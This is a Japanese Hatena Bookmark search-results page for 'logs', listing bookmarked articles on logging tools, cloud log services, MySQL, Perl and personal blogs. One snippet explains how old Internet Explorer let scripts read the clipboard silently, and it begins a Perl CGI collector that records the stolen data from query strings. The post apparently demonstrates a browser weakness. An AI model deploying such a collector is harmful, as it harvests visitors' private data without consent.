並び順

ブックマーク数

期間指定

  • から
  • まで

1 - 40 件 / 2227件

新着順 人気順

logsの検索結果1 - 40 件 / 2227件

  • 限界集落で 2 年間リモートワークをしていたプログラマが 4 ヶ月間東京で働いてみて感じたこと - dunno logs

    個人的な記録なので、誰かが読むにはコンテキストが不明な部分も多いと思いますが振り返りとして。 東京で 4 ヶ月 なんということはなく、妻が埼玉で里帰り出産をすることになったので、本社がある東京に埼玉から通うことにさせてもらった感じです。この手の勤務地変更は会社でも初めてだったと思うのだけど、地方勤務者が本社に勤務地変更するということで受け入れてくれて助かりました。 リモートワーカーとしての私 リモートワーカーとして皆さんが浮かべるイメージは在宅で自由な時間でという感じだと思いますが、私の場合はリモートワーカーと呼ばれてるものの、実際は他にも勤務者が居る地方(と言っても山奥)のオフィスで東京と同じ勤務時間働いているので、どちらかというと支社とかで働いている人に近いと思います。 たぶん、場所が超山奥で開発・営業拠点的な意味は全く無い場所なので、リモートワーカーぽく扱われているのかも。 一方で、

      限界集落で 2 年間リモートワークをしていたプログラマが 4 ヶ月間東京で働いてみて感じたこと - dunno logs
    • あんどぅ on Twitter: "本番運用するといずれ誰もがたどり着く、公式ドキュメントには書かれてないログ管理の現実解が資料化されていてすばらしい そう、CloudWatch LogsにはDev環境 or ERRORの場合のみ飛ばすFluentdの設定をすることで利便性と料金のバランスをとるのである これは公式ドキュメントにすべき https://t.co/RE4FmPCpJX"

        あんどぅ on Twitter: "本番運用するといずれ誰もがたどり着く、公式ドキュメントには書かれてないログ管理の現実解が資料化されていてすばらしい そう、CloudWatch LogsにはDev環境 or ERRORの場合のみ飛ばすFluentdの設定をすることで利便性と料金のバランスをとるのである これは公式ドキュメントにすべき https://t.co/RE4FmPCpJX"
      • マストドンと改正プロバイダ責任制限法 鯖管が知っておくべき義務と権利 - ashphy's commit logs

        概要 Twitterをイーロン・マスク氏が買収したこと*1により、マストドンをはじめとする分散SNSへアカウントを作る動きが加速*2しています。現在はサーバの処理能力についての話題が多いですが、人が増えればTwitterで起きていたトラブルが分散SNSでも起きるようになると思われます。 そこでこの記事では、分散SNS上でなにかしらの権利侵害が起きた場合に、安心して問題に対処できるようになることを目的として、プロバイダ責任制限法のもとでサーバ管理者の義務と権利、取るべき対応を解説します。 対象の読者 個人でマストドン/Misskeyのサーバを運用しているサーバ管理者 この記事での前提 この記事では読みやすくなるように以下の前提を置いています。 分散SNSはマストドン マストドンの用語を使うだけでMisskeyやPleromaでも一緒です。 マストドンのサーバは日本国内に設置されている サーバ

          マストドンと改正プロバイダ責任制限法 鯖管が知っておくべき義務と権利 - ashphy's commit logs
        • あなたのクリップボードが盗まれる - Ceekz Logs

          IE には、便利な機能がある。それは、スクリプト(JavaScript etc..)でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと(setData)、読み出すこと(getData)、消去すること(clearData)の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:

          • YouTube と GyaO を便利に使うブックマークレット - Ceekz Logs (Move to y.ceek.jp)

            面白い動画を探すなら YouTube で、懐かしい動画を観るなら GyaO というように住み分けが出来てきているような感じですが(住み分けというより使い分け)、それらを便利に使うブックマークレットがブックマークに入っていたので、ご紹介。 YouTube の flv をダウンロードするブックマークレット http://www.youtube.com/watch?v=9er8jmBOMqo という YouTube の各動画の再生ページで実行してください。 location.href をダウンロード用のアドレスに置き換えることにより、ファイルがダウンロードされます。ただし、セキュリティ設定の厳しい IE では、情報バーが出てしまうので、ブックマークレットを使う際には Ctrl を押しながら行ってください。 GyaO の動画を Windows Media Player で再生するブックマークレット

            • GitHub - google/ssl_logger: Decrypts and logs a process's SSL traffic.

              geffner@ubuntu:~$ # Make a local pipe for input to our openssl client geffner@ubuntu:~$ mkfifo pipe geffner@ubuntu:~$ # Create our openssl client, which will receive input from our pipe geffner@ubuntu:~$ openssl s_client -ign_eof -connect example.org:443 > /dev/null 2> /dev/null < pipe & [1] 98954 geffner@ubuntu:~$ # Begin writing the request to our pipe geffner@ubuntu:~$ printf "GET / HTTP/1.0\nH

                GitHub - google/ssl_logger: Decrypts and logs a process's SSL traffic.
              • チームの仕事はまわっていたけど、メンバーはそれぞれモヤモヤを抱えていた話──40名の大規模開発チームで1on1ログを公開してみた / opened 1on1 logs

                PHPerKaigi 2022 スポンサーセッションのスライドです。 https://fortee.jp/phperkaigi-2022/proposal/5a260e4e-542d-4d82-849d-ef3d6cb7c854

                  チームの仕事はまわっていたけど、メンバーはそれぞれモヤモヤを抱えていた話──40名の大規模開発チームで1on1ログを公開してみた / opened 1on1 logs
                • Pythonを書き始めて1ヶ月がたった - n-knuu's logs

                  10月30日にPythonを突発的に始めて1ヶ月がたった。 始めて2週間で学校の課題(Webアプリ)を書いたりした。 技術的にためになる話はないけど、まあ日々のログとして書いておく。 経緯 以前からPythonはやろうと思ってた 学校の教養科目でPythonを書く科目をとってみた 以下は時期的な話。 学科の演習(https://www.db.soc.i.kyoto-u.ac.jp/lec/le4db/)でWebアプリをJavaで書いていたが、Javaプログラム中にhtmlとかSQLとか書いてたらやる気がなくなってきた ちょうどそのころPython始めるならまず何を読むべきかなどを情報収集していたら、みんなのPython Webアプリ編がHTML版として無料公開された(みんなのPython Webアプリ編をHTMLで読めるようにしました | TRIVIAL TECHNOLOGIES 4 @a

                    Pythonを書き始めて1ヶ月がたった - n-knuu's logs
                  • mysqldump --single-transaction に --flush-logs をつけてはいけない - tmtms のメモ

                    (いまだに時々ブクマされていたりしますが、これはバグで MySQL 5.5.21 以降では修正されています。) mysqldump は MySQL のデータのバックアップを取得するコマンドです。 mysqldump に --single-transaction を指定すると一貫性を保持したバックアップを取得することができます*1。 この時に mysqldump が発行しているクエリは次のような感じです。 [mysqldump --single-transaction DB名] SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ START TRANSACTION WITH CONSISTENT SNAPSHOT UNLOCK TABLES DB選択 テーブルからデータの読み込み「START TRANSACTION WITH CON

                      mysqldump --single-transaction に --flush-logs をつけてはいけない - tmtms のメモ
                    • Logstash: Collect, Parse, Transform Logs | Elastic

                      Search and analytics, data ingestion, and visualization – all at your fingertips.

                        Logstash: Collect, Parse, Transform Logs | Elastic
                      • GPS 携帯を使ったサービスが出ない訳 - Ceekz Logs (Move to y.ceek.jp)

                        GPS 携帯が出てきた当時は、アレもできるコレもできるという話をいっぱい聞いたような気がするのですが、一向にそんなサービスが出てきません。なんでだろうなぁ。と調べてみたところ特許で縛られているようです。 その一例をあげると位置依存サービスをしようとしても、携帯端末がGPSなどから取得した位置情報を何らかのメッセージ(メールを含む)でサーバに転送して、そのサーバから現在位置に関するコンテンツを携帯端末が受け取ると特許に抵触します。 まじかー。とりあえず、一次情報の特許電子図書館で調べてみる。 【発行国】 日本国特許庁(JP) 【公報種別】 公開特許公報(A) 【公開番号】 特開2002-199423(P2002-199423A) 【公開日】 平成14年7月12日(2002.7.12) 【発明の名称】 座標ウェイポイントでメッセージにアクセスして記録するシステム及び方法 うーん。本当っぽい。ま

                        • EC2インスタンス内のログをCloudWatch LogsとS3バケットに保存してみた | DevelopersIO

                          はじめに おはようございます、加藤です。EC2の上で動くアプリケーションログを一時的にCloudWatch Logsに保管、長期的にS3バケットに保存というアーキテクチャを試してみました。 こちらが概要図です。 EC2インスタンスでCloudWatchエージェントを動かし、ログをCloudWatch Logsに転送します。CloudWatch LogsのロググループからKinesis Data Firehose→S3と転送します。 Kinesisエージェントをインスタンスにインストールすれば直接Kinesis Data Firehoseにログを転送できますが、CloudWatch Logsに短期間はログを保存して置きたい・CloudWatch Logsで任意の文字列を検出した場合はアラートを上げたいというシチュエーションを想定し、このようなアーキテクチャになりました。 永続的に保存したい要

                            EC2インスタンス内のログをCloudWatch LogsとS3バケットに保存してみた | DevelopersIO
                          • Gmail の再設定 〜 POP で移行 - Ceekz Logs

                            Gmail を使い始めて2週間になりますが、これまでのメールを削除して、再移行を行いました。その顛末をば。 オリジナルの日時が反映されずに、受信日時が反映されます。この辺は、割り切る必要がありますね…。 日付が反映されないということは、メールを検索しても正しい順序で出ないことを意味します。バックアップと割り切れればいいけど、高速に検索できるのを最大限生かしたい場合は、そうそう割り切れるものではありません。 調べてみると POP で転送すると、日付がオリジナルになるらしいですよ。日本語版では実装されていないのだけど、英語版にすると使える場合があるらしい…。 「設定」→「全般」を開いて「Gmail 表示言語」を「English (US)」に設定してみましょう。あなたの Gmail が英語版に変わります。 「Settings」→「Accounts」を開いてみてください。 Get mail fro

                            • Sansan の成長を支えるセキュリティログの活用と Amazon Elasticsearch Service / Amazon Elasticsearch Service empowers Sansan's business growth to create value and drive innovation through security logs management

                              ■イベント AWS Security Roadshow Japan https://aws.amazon.com/jp/about-aws/events/2020/securityroadshow2020/ ■登壇概要 タイトル:Sansan の成長を支えるセキュリティログの活用と Amaz…

                                Sansan の成長を支えるセキュリティログの活用と Amazon Elasticsearch Service / Amazon Elasticsearch Service empowers Sansan's business growth to create value and drive innovation through security logs management
                              • Amazon CloudWatch Logsでログファイルを監視する | Developers.IO

                                ども、大瀧です。 本日開催されているAWS Summit New YorkでCloudWatchの新機能、CloudWatch Logsが発表されました。 バックでKinesisが動いているらしく、スケーラブルなログアグリゲーションサービスとして期待できそうです。ひとまず、どんなものか試してみたのでレポートします。 1. IAMユーザー/IAMロールの準備 動作する仕組みは一般的なログアグリゲーションサービスと変わらず、ログ収集対象のマシンにエージェントをインストールし、アグリゲータにログを順次送信する形態です。エンドポイントはCloudWatchのAPIなので、他のAWS APIと同様にCloudWatch Logsに必要な以下の権限を付与したIAMユーザー、もしくはIAMロールを準備します。 { "Version": "2012-10-17", "Statement": [ { "Ef

                                  Amazon CloudWatch Logsでログファイルを監視する | Developers.IO
                                • CloudWatch Logsの料金が高い原因はコレだった。CloudTrailとの微妙な関係 - クラウドワークス エンジニアブログ

                                  こんにちは。crowdworks.jp SREチームの田中(kangaechu)です。先日RubyKaigi2023に参加するため、松本に行きました。街を歩いていると目線の先に山が見えたり、温泉が近くにあったりなど松本の自然が近くにある感じがとてもよかったです。ちょっと住みたくなって不動産屋さんで家賃を眺めたりしておりました。 今回は小ネタとして、AWSのCloudWatchの料金が高くなったことで見つけたCloudTrailの設定についてです。 あなたのCloudWatch LogsとCloudTrailの料金、高くないですか? 先日、AWSのコスト異常検知サービスのCost Anomaly Detection からCloudWatchとCloudTrailのコストが跳ね上がっているとの通知が来ました。 Cost Anomaly Detectionで通知されたCloudWatchとClo

                                    CloudWatch Logsの料金が高い原因はコレだった。CloudTrailとの微妙な関係 - クラウドワークス エンジニアブログ
                                  • AWS CLI V2でCloudWatch Logsのロググループをtailできるようになりました! | DevelopersIO

                                    AWS Lambdaの開発などでCloudWatch Logsに送っているログをリアルタイムにtailしたい時があります。AWS CLI v2を利用すると $tail -f 相当のことが $aws logs tail --follow LOG-GROUP-NAME で出来るようになりました。 AWS Lambdaの開発などでAmazon CloudWatch Logsに送っているログをリアルタイムにtailしたい時があります。 AWS CLI v2を利用すると、$ tail -f相当のことが$ aws logs tail --follow LOG-GROUP-NAME で出来るようになりました。 * feature:logs: Added the logs tail command. This tracks new additions to a CloudWatch Logs group

                                      AWS CLI V2でCloudWatch Logsのロググループをtailできるようになりました! | DevelopersIO
                                    • utf8_general_ci と utf8_unicode_ci の違い - Ceekz Logs (Move to y.ceek.jp)

                                      以前までは、データベース MySQL を利用したアプリケーションを作るときは、文字コードとして EUC-JP を利用していました。最近は、国際化との兼ね合いなどから UTF-8 を利用するようにしています。 MySQL で UTF-8 を扱う場合、照会順序として utf8_bin を使用していました(何も考えずに)。 utf8_bin の場合、部分一致探索 LIKE などの使用時に英字の大文字小文字が区別されてしまう。大文字小文字を区別されないようにするためには、照会順序として utf8_general_ci を使用すればよいのですが、他にも utf8_unicode_ci があることに気がつきました。 utf8_general_ci と utf8_unicode_ci では、どこが違うのだろう? utf8_general_ci also is satisfactory for both

                                      • ログから生まれる施策 / actions born from logs

                                        WEB DIRECTORS SESSION Vol.2 http://peatix.com/event/219845

                                          ログから生まれる施策 / actions born from logs
                                        • Datadog Logsでアプリケーションログを管理する | CyberAgent Developers Blog

                                          この記事はCyberAgent Developers Advent Calendar 2017 6日目の記事です。 アドテクスタジオ Dynalyst開発チームの黒崎 (@kuro_m88) です。早いもので入社して3年目になりました。今年はDatadog Logsを一部本番に導入したので紹介しようと思います。 Dynalystではサーバやアプリケーション、AWSのマネージドサービスの監視やメトリクスの可視化にDatadogを使っています。 どんな風に使っているかは以前発表した資料があるのでこちらをご覧下さい。 そして、このスライドの最後に「ログのマネジメントもできるといいなぁ…?」と書いてありますが、なんとその願いが叶った結果、Datadog Logsが11月末に発表されました!!!! 何ができるのかは公式ドキュメントの図がわかりやすいです。 https://docs.datadoghq

                                            Datadog Logsでアプリケーションログを管理する | CyberAgent Developers Blog
                                          • CloudWatch Logs へのログ転送と logrotate を併用すると、ログが欠損します。原因と対処法を教えてください | DevelopersIO

                                            困っていた内容 CludWatch エージェントを使用して EC2 インスタンス内部のログファイルを CloudWatch Logs へ転送していますが、対象のログファイルに logrotate を適用してファイルをローテーションさせると、CloudWatch Logs へのログ転送が欠損する場合があります。この原因と対処法を教えてください。 どう対応すればいいの? 考えられる原因 CloudWatch エージェントの設定ファイル内で転送対象のログファイル名を指定する file_path の記述が関連している可能性があります。 例えば設定ファイル内で以下のように記述していたとします。 CloudWatch エージェント設定ファイルの例: この場合、CloudWatch Logs に転送される対象のログファイルは「system.log」のみとなります。 つまり logrotate によりファ

                                              CloudWatch Logs へのログ転送と logrotate を併用すると、ログが欠損します。原因と対処法を教えてください | DevelopersIO
                                            • Perl モジュールの一括更新 - Ceekz Logs (Move to y.ceek.jp)

                                              Perl を使っているので CPAN には、日々お世話になっています。しかしながら、自動的にアップデートする方法を知らなかったので、そのへんが怠りがちでした。暇なの時に CPAN を巡回する有様です。 Perl モジュールをもっと簡単に管理できないかと思って調べていたら、案の定、一括でアップグレードできるみたい。 $ perl -MCPAN -e "CPAN::Shell->r" このコマンドで古くなっているモジュールを確認できます。ポイントは、コアモジュールや CPAN Shell を利用せずにインストールしたモジュール(CPAN にあるもの)も確認できる点です。これは非常にありがたい。 $ perl -MCPAN -e "CPAN::Shell->install(CPAN::Shell->r)" このコマンドで古くなっているモジュールを一括で更新できます。 もちろん、バージョンの違いで

                                              • GitHub - openobserve/openobserve: 🚀 10x easier, 🚀 140x lower storage cost, 🚀 high performance, 🚀 petabyte scale - Elasticsearch/Splunk/Datadog alternative for 🚀 (logs, metrics, traces, RUM, Error tracking, Session replay).

                                                🚀 10x easier, 🚀 140x lower storage cost, 🚀 high performance, 🚀 petabyte scale - Elasticsearch/Splunk/Datadog alternative for 🚀 (logs, metrics, traces). OpenObserve (O2 for short) is a cloud-native observability platform built specifically for logs, metrics, traces, analytics, RUM (Real User Monitoring - Performance, Errors, Session Replay) designed to work at petabyte scale. It is straightfor

                                                  GitHub - openobserve/openobserve: 🚀 10x easier, 🚀 140x lower storage cost, 🚀 high performance, 🚀 petabyte scale - Elasticsearch/Splunk/Datadog alternative for 🚀 (logs, metrics, traces, RUM, Error tracking, Session replay).
                                                • はてブでのホスト名の偏り - Ceekz Logs (Move to y.ceek.jp)

                                                  Hatena Bookmarker Ranking を作った後に、こんなことを書いた。 ITmedia や CNET をブックマークしまくれば、多分上位に食い込める。とはいっても、そうなる原因の1つは、まだまだ はてなブックマーク のユーザー層に偏りがあるということ。 体感的に正しい気がするのだけど、データはどう示すのか改めて調べてみた。 以下が、はてなブックマークの人気エントリーのホスト名ランキングです。人気エントリーとは、以前からの定義どおり、20以上のオープンユーザーがブックマークしているエントリーです。 11.043 d.hatena.ne.jp 8.166 www.itmedia.co.jp 4.272 japan.cnet.com 2.063 blog.livedoor.jp 1.860 hotwired.goo.ne.jp 1.511 itpro.nikkeibp.co.jp

                                                  • [アップデート] AWS WAFのログを直接CloudWatch LogsおよびS3に出力可能になりました | DevelopersIO

                                                    またまたドキュメントをながめていたところ、待望のアップデートを見つけたのでシェアします。 AWS WAFのWebACLトラフィックログをCloudwatch LogsまたはS3に直接出力することが可能になりました! AWS WAFのWebACLトラフィックログ 従来は以下記事のようにKinesis Data Firehoseを介してCloudWatch LogsまたはS3に出力する必要がありました。 今回のアップデートでAWS WAFから直接CloudWatch Logs、S3に出力可能となりましたので控えめに言って最高のアップデートですね! 注意点 CloudWatch Logsロググループ名およびS3バケット名はaws-waf-logs-から始まる名前であること Kinesis Data Firehoseも配信ストリーム名でも同じ制約がありましたが、CloudWatch Logs、S3

                                                      [アップデート] AWS WAFのログを直接CloudWatch LogsおよびS3に出力可能になりました | DevelopersIO
                                                    • s.hatena.ne.jp へのアクセスを簡単に遮断する方法 - Ceekz Logs (Move to y.ceek.jp)

                                                      昨日、はてなスター(s.hatena.ne.jp)というサービスがはてなからリリースされた。素晴らしいサービスで、面白い取り組みだと思うのだが、メモリが大好きなようでたくさん食べる。 はてなスター日記 - ☆を消す機能についてを表示するだけで 200MB 以上のメモリを食べる。さすがにこれはひどい…。はて☆スタが肥満児になろうが知ったこっちゃ無いのだが、はてなダイアリーに地雷が出来たことはいただけない。 不本意ではあるが s.hatena.ne.jp へのアクセスを遮断する事にした。今回の設定は Windows XP SP2 で行った。他の環境でも同等の方法で可能だと思う。 C:\WINDOWS\system32\drivers\etc\hosts hosts というファイルに下記を追加するだけでよい。 127.0.0.1 s.hatena.ne.jp 127.0.0.1 s.hatena

                                                      • Amazon CloudWatch Logsによるログの収集とフィルタとアラーム設定 | DevelopersIO

                                                        AWS Summit NYCが始まりました! オランダ負けて残念だったね〜、で始まりました、AWS Summit NYCです!そして、早速新機能の発表です!その名もCloudWatch Logsです。 CloudWatch Logsとは? CloudWatch Logsは、独自のアプリケーションやAWSサービスのログを収集して解析する機能です。EC2にエージェントをインストールしてログを飛ばす事ができます!この仕組みは、Amazon Kinesisの機能を使って実現しているようです。 主な機能は以下の2つです。 アプリケーションとシステムのログをリアルタイムにモニタリングすること ログデータのアーカイブ CloudWatch Logsのコンセプト CloudWatch Logsの全体像を理解するためにコンセプトとなるキーワードを並べてみます。 ログイベント:ログイベントは、監視されているア

                                                          Amazon CloudWatch Logsによるログの収集とフィルタとアラーム設定 | DevelopersIO
                                                        • AWS CloudWatch Logsを見やすくするツールを作った - Qiita

                                                          概要 AWS CloudWatch Logsの表示が見にくすぎるというのは全人類が抱える問題だと思いますが、それを見やすくするCLIツールを作りました。 既にawslogsというツールがあり、こちらも便利なのですがロググループをまたいでtailすることが出来なかったので自分で作りました。 あと個人的にはPythonのCLIツールをグローバルに入れたくな... 他にもいくつかツールあり、そちらと比べて機能的に大きく異なるわけではないので、今困ってない人は良いと思います。色合いが良い感じとかふわっとした部分は結構違うと思います。 Utern 以下に置いてあります。 https://github.com/knqyf263/utern sternというKubernetesでログを表示するのに使われる便利なツールがあるのですが、それを参考に作ったのでuternというツール名にしました。意味は特にない

                                                            AWS CloudWatch Logsを見やすくするツールを作った - Qiita
                                                          • ブログの本文抽出にチャレンジ - Ceekz Logs (Move to y.ceek.jp)

                                                            zuzara.com を読んでいると、ブログの本文抽出にチャレンジしているのを見つけました。 tdかdivで囲まれた文字列で、文章と比べてHTMLのタグがあまり多くないもののうち、一番文字数が多いのが本文だろう、というアルゴリズム。 PHP で書かれたコードを Perl に移植しながら、もっと効率的なアルゴリズムが無いかを考えていました。 まずは、『タグの数』ではなく、比率をで判定するように改良(?)しました。 スコア = タグ除去後(length) / タグ除去前(length) タグが含まれていないときが最大値になるので、スコアは 1 が最大となります。タグの数よりもこっちの方が良さそうだったのだけど、コメント部分を抽出してしまう可能性が非常に高い。だめぽ。 牛乳を飲みつつ考えていると(カルシウムを摂取して身長を伸ばす)、ひらめきましたよ!要は、長い文章を取り出せればいいのだから、句読

                                                            • Star Logs

                                                              Star Logs = Star Wars + git logs

                                                              • 新機能 – Amazon CloudWatch Logs Insights – 高速でインタラクティブなログ分析 | Amazon Web Services ブログ

                                                                Amazon Web Services ブログ 新機能 – Amazon CloudWatch Logs Insights – 高速でインタラクティブなログ分析 多くのAWSサービスがログを生成します。すぐに思いつくものだけで VPC Flow ログ、Route 53 ログ、Lambda ログ、CloudTail ログ (AWS API 呼び出しのログ)、RDS ログ、IoT ログ、ECS ログ、API Gateway ログ、S3 サーバーアクセス ログ、EC2 インスタンスログ (CloudWatch Agent 経由)があります。EC2インスタンスの上で動くサービス(Apache、Tomcat、NGINXなど)もログを生成します。そしてあなたのアプリケーションコードもおそらく同じでしょう。 それらのログに含まれる、データ、パターン、傾向、洞察により、あなたのアプリケーションや AWS

                                                                  新機能 – Amazon CloudWatch Logs Insights – 高速でインタラクティブなログ分析 | Amazon Web Services ブログ
                                                                • [アップデート] Amazon CloudWatch Logs でリアルタイムでログを確認出来る Live Tail 機能が追加されました | DevelopersIO

                                                                  [アップデート] Amazon CloudWatch Logs でリアルタイムでログを確認出来る Live Tail 機能が追加されました いわさです。 私は CloudWatch Logs でログの確認をよくするのですが、トラブルシューティングや開発中にログに張り付くようなタイミングだと既存の CloudWatch Logs のイベント機能や Logs Insights では表示の更新が必要でちょっと不便だなと思っていました。 本日のアップデートで CloudWatch Logs に新たに Live Tail という機能が登場しました。 CloudWatch Logs のログストリームに送信されたログをリアルタイムで確認することが出来ます。 フィルターなどをかけながらリアルタイム表示出来るので、なかなか良いですよこれは。 ただし、有料オプションなのでご注意ください。 この記事では実際に使

                                                                    [アップデート] Amazon CloudWatch Logs でリアルタイムでログを確認出来る Live Tail 機能が追加されました | DevelopersIO
                                                                  • GitHub - grafana/loki: Like Prometheus, but for logs.

                                                                    Loki is a horizontally-scalable, highly-available, multi-tenant log aggregation system inspired by Prometheus. It is designed to be very cost effective and easy to operate. It does not index the contents of the logs, but rather a set of labels for each log stream. Compared to other log aggregation systems, Loki: does not do full text indexing on logs. By storing compressed, unstructured logs and o

                                                                      GitHub - grafana/loki: Like Prometheus, but for logs.
                                                                    • VPC Flow LogsをAthena + QuickSightで
分析してデータ転送料金の内訳を調査する 〜 実践的なコスト最適化の洞察 〜 - Uzabase for Engineers

                                                                      こんにちは。ソーシャル経済メディア NewsPicksのSREチームで仕事をしている安藤です。 NewsPicks Advent Calendar 2023 の1日目ということで、日常の業務風景から軽いコスト最適化TIPSをご紹介します。 qiita.com AWSコストを最適化したいよぉ〜 NewsPicksはおかげさまでサービス10周年を迎え、ユーザー数も事業も伸びておりますが、 事業の成長やエンジニア組織の拡大に比例してAWSコストが増え、円安でさらに日本円での負担が増え、となると事業の利益率にも少なからず影響がでます。 私が所属するSREチームでは、「売上に対するAWSコストの割合は、規模が拡大するほど減っていくべき」という考えを持っており、 積極的にAWSサービスの使い方を見直して毎年コストを削っていくつもりで仕事をしています。 AWSが提唱するCloud Financial M

                                                                        VPC Flow LogsをAthena + QuickSightで
分析してデータ転送料金の内訳を調査する 〜 実践的なコスト最適化の洞察 〜 - Uzabase for Engineers
                                                                      • はてなブックマーカーランキング - Ceekz Logs (Move to y.ceek.jp)

                                                                        国内のソーシャルブックマークは、はてながシェアトップだと思うのですが、そのユーザーのがんばり度をランキングにしてみました。 このプロジェクトは、ソーシャルネットワーキングサイト mixi が発端だった。 yoshida 人気エントリーの最初のクリッパーは誰なのか調べると面白いかも。 やってみるかな。 要は、言いだしっぺだ。 ブックマークしているユーザーが20を超えているエントリーを「人気エントリー」と仮定し、そのエントリーをはじめにブックマークしたユーザーにポイントを振って、ランキングしています。 1番目 〜 10番目 に対し、10pt 〜 1pt のポイントを振っています。このポイントを振られたユーザーを「貢献ユーザー」としておきましょう。人気エントリーのブックマーク数に応じて比重をかけるのも良いかと思いましたが、ややこしくなるので、とりあえずは、単純な算出方法で。 このポイントを合計し

                                                                        • BASIC認証とIPアドレス制限の併用 - Ceekz Logs (Move to y.ceek.jp)

                                                                          先日公開した、主専攻振り分けの途中経過は、学内からアクセスする場合は、そのまま閲覧でき、学外からアクセスする場合は、BASIC認証が必要になるように設定しています。 特定のIPアドレスは通して、それ以外は、認証が必要。というページの作成は、結構需要があるような気がします。代表的なのは、自分のマシンは認証無しで、他の人が見る場合は、認証が必要とするということが挙げられます。 .htaccess で設定するわけですが、やり方を良く忘れてしまうので、メモしておくことに。 AuthType Basic AuthDBUserFile /etc/webpass.coins AuthName "Please input your coins's Account & Password" Require valid-user Satisfy Any Order Allow,Deny Allow from 1

                                                                          • プログラマー35歳、定年まではいかなかったが身体の一部を失うことになった - dunno logs

                                                                            どれだけ健康に気をつけろという周りのメッセージを受け取っていても、不幸なストーリーを見聞きしていても、「自分は大丈夫ではないか」と勘違いしてしまうことがあると思います。特にまだ頭も身体も元気な年齢ともなればなおさら。 僕自身、34 歳の健康診断の結果を見るまでは自分の身体に異常なんてあるとは思っていませんでした。 でも突然、本当に突然その時はやってきました。 「もしかすると腫瘍かもしれません。精密な検査を強く勧めます」 検査から現在まで ある内蔵に腫瘍を抱えた 細かな事は書きませんが、35 歳の健康診断での最後の医師の診察時に、腹部エコーの内容を見ながらその女性医師は「昨年の診断では嚢胞と書かれているし、昨年から変化はほぼ無いようだけど、、、これはもしかしたら腫瘍ではないかしら」と話し始めました。細かな事は覚えていませんが、彼女は慎重に言葉を選びながら、「腫瘍といっても、良い悪いがあるしね

                                                                              プログラマー35歳、定年まではいかなかったが身体の一部を失うことになった - dunno logs
                                                                            • ターミナルから直感的にCloudWatch Logsを検索できるawslogsコマンドの紹介 | DevelopersIO

                                                                              はじめに こんにちは、中山です。 先日AWS Summit Tokyo 2016に参加してきました。セッションを聴講している際にスピーカーの方が面白そうなツールを紹介されていました。awslogsというPython製のツールです。これはAmazon CloudWatch Logsをターミナルから直感的に検索するためのツールです。早速使用してみたのでレポートします。 検証環境 awslogsコマンドを利用するためにCloudWatch Logsの設定が必要です。検証環境構築用のコードをGitHubに上げておきました。以下のコマンドで実行可能です。 $ git clone https://github.com/knakayama/awslogs-demo.git $ cd awslogs-demo $ ssh-keygen -f site_key -N '' $ terraform apply

                                                                                ターミナルから直感的にCloudWatch Logsを検索できるawslogsコマンドの紹介 | DevelopersIO
                                                                              • はてなブックマーカーランキングからわかること - Ceekz Logs (Move to y.ceek.jp)

                                                                                タイトルが長くなったorz まぁ。ぶっちゃけ、自分で集計しないとわからないけど。 Hatena Bookmarker Ranking を作るにあたって、仮説をたてていました。それは、貢献ユーザーの総数は、上位貢献ユーザーを軸に対数関数的に伸びるということ。すなわち、上位の貢献ユーザーが、人気エントリーを 1番目 〜 10番目 にブックマークしているということ。言い換えると、人気エントリーをブックマークしている多くのユーザーは、他の特定ユーザに乗っかっているだけなのではないか?ということ。 完全な対数関数にならなかったのだけど、おおむね満足できる結果となりました。グラフは、クリックすると大きい画像が表示されます。 グラフの見方を少々説明。縦軸は、貢献ユーザーの総数を表しています。すなわり、集計エントリー数の10倍になります。横軸は、トータルランキングの貢献ユーザーです。ランキング1位から順に

                                                                                • CloudWatch Logsにカスタムメトリクスを埋め込める、Embedded Metricsが追加されました! | DevelopersIO

                                                                                  CloudWatch Logsにカスタムメトリクスを埋め込める、Embedded Metricsが追加されました! オペレーション部 江口です。 CloudWatch Logsが、カスタムメトリクスを埋め込んで送ることができるフォーマット"Embedded Metrics Format"に対応しました。 https://aws.amazon.com/jp/about-aws/whats-new/2019/11/amazon-cloudwatch-launches-embedded-metric-format/ ログにこのフォーマットで情報を送ることで、カスタムメトリクスとしてCloudWatchで集計してくれるようになります。 これまでもCLIやAPIでカスタムメトリクスをPushすることは可能でしたし、CloudWatch Logsでフィルターを作成してマッチした文字列の数を数えるメトリ

                                                                                    CloudWatch Logsにカスタムメトリクスを埋め込める、Embedded Metricsが追加されました! | DevelopersIO